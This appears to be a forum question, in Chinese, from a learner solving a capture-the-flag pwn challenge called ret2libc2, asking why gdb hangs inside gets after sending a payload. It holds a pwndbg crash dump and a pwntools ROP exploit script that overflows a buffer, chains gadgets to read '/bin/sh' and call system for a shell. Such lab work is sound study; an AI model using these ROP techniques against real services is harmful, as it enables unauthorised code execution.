在做pwn题目时,attach进程序,输入payload之后,程序跳转到gets函数,之后就在gets函数里卡着不动了,可以输入指令但是无论是finish还是ni都无法继续调试
Program received signal SIGSEGV, Segmentation fault.
_IO_gets (buf=0x400793 "_Ðf.\017\037\204") at iogets.c:53
53 in iogets.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x2f
RBX 0x400793 ◂— pop rdi
RCX 0xa
RDX 0x7fffffff
RDI 0x0
RSI 0x400794 ◂— ret
R8 0x0
R9 0x0
R10 0xfffffffffffff3d4
R11 0x246
R12 0x601070 (stdin) —▸ 0x7fa5e8cd7980 (_IO_2_1_stdin_) ◂— 0xfbad208b
R13 0x0
R14 0x0
R15 0x101010
RBP 0x7fa5e8cd7980 (_IO_2_1_stdin_) ◂— 0xfbad208b
RSP 0x7ffe7429f940 —▸ 0x400793 ◂— pop rdi
RIP 0x7fa5e8b6ead3 (gets+307) ◂— mov byte ptr [rbx], al
────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
► 0x7fa5e8b6ead3 <gets+307> mov byte ptr [rbx], al
0x7fa5e8b6ead5 <gets+309> mov rdi, qword ptr [r12]
0x7fa5e8b6ead9 <gets+313> call _IO_getline <_IO_getline>
0x7fa5e8b6eade <gets+318> mov rcx, qword ptr [r12]
0x7fa5e8b6eae2 <gets+322> add rax, 1
0x7fa5e8b6eae6 <gets+326> mov edx, dword ptr [rcx]
0x7fa5e8b6eae8 <gets+328> test dl, 0x20
0x7fa5e8b6eaeb <gets+331> jne gets+130 <gets+130>
0x7fa5e8b6eaf1 <gets+337> or r13d, edx
0x7fa5e8b6eaf4 <gets+340> lea rdx, [rbx + rax]
0x7fa5e8b6eaf8 <gets+344> mov dword ptr [rcx], r13d
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe7429f940 —▸ 0x400793 ◂— pop rdi
01:0008│ 0x7ffe7429f948 —▸ 0x400730 ◂— push r15
02:0010│ 0x7ffe7429f950 ◂— 0x4141414141414141 ('AAAAAAAA')
03:0018│ 0x7ffe7429f958 —▸ 0x400590 ◂— xor ebp, ebp
04:0020│ 0x7ffe7429f960 —▸ 0x7ffe7429fa40 ◂— 0x1
05:0028│ 0x7ffe7429f968 —▸ 0x400793 ◂— pop rdi
06:0030│ 0x7ffe7429f970 ◂— 0x60100
07:0038│ 0x7ffe7429f978 —▸ 0x400687 ◂— call 0x400570
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x7fa5e8b6ead3 gets+307
f 1 0x400793
下面是我写的payload
from pwn import*
p = process('./ret2libc2')
sys_addr = 0x400687
gets_addr = 0x400580
pop_rdi_ret = 0x400793
pop_rsi = 0x400791
buf2_addr = 0x60100
context.log_level = 'debug'
payload = b'A'*120 + p64(pop_rdi_ret) + p64(pop_rdi_ret) + p64(pop_rsi)
payload += p64(buf2_addr) +p64(0x101010) + p64(gets_addr) + p64(pop_rdi_ret)
payload += p64(buf2_addr) + p64(sys_addr)
#p.recvuntil('Please enter your payload to pwn me again:\n')
gdb.attach(p)
pause()
p.sendline(payload)
pause()
p.sendline('/bin/sh')
p.interactive()